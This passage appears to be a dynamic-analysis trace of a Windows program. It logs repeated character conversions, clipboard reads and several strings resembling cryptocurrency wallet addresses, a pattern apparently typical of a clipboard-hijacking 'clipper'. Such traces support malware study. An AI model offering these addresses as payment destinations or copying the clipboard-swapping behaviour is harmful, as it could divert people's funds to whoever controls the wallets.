lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.546] Sleep (dwMilliseconds=0x64) [0053.651] GetOpenClipboardWindow () returned 0x0 [0053.651] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.651] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.651] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.651] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.651] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.651] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.651] CloseClipboard () returned 1 [0053.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 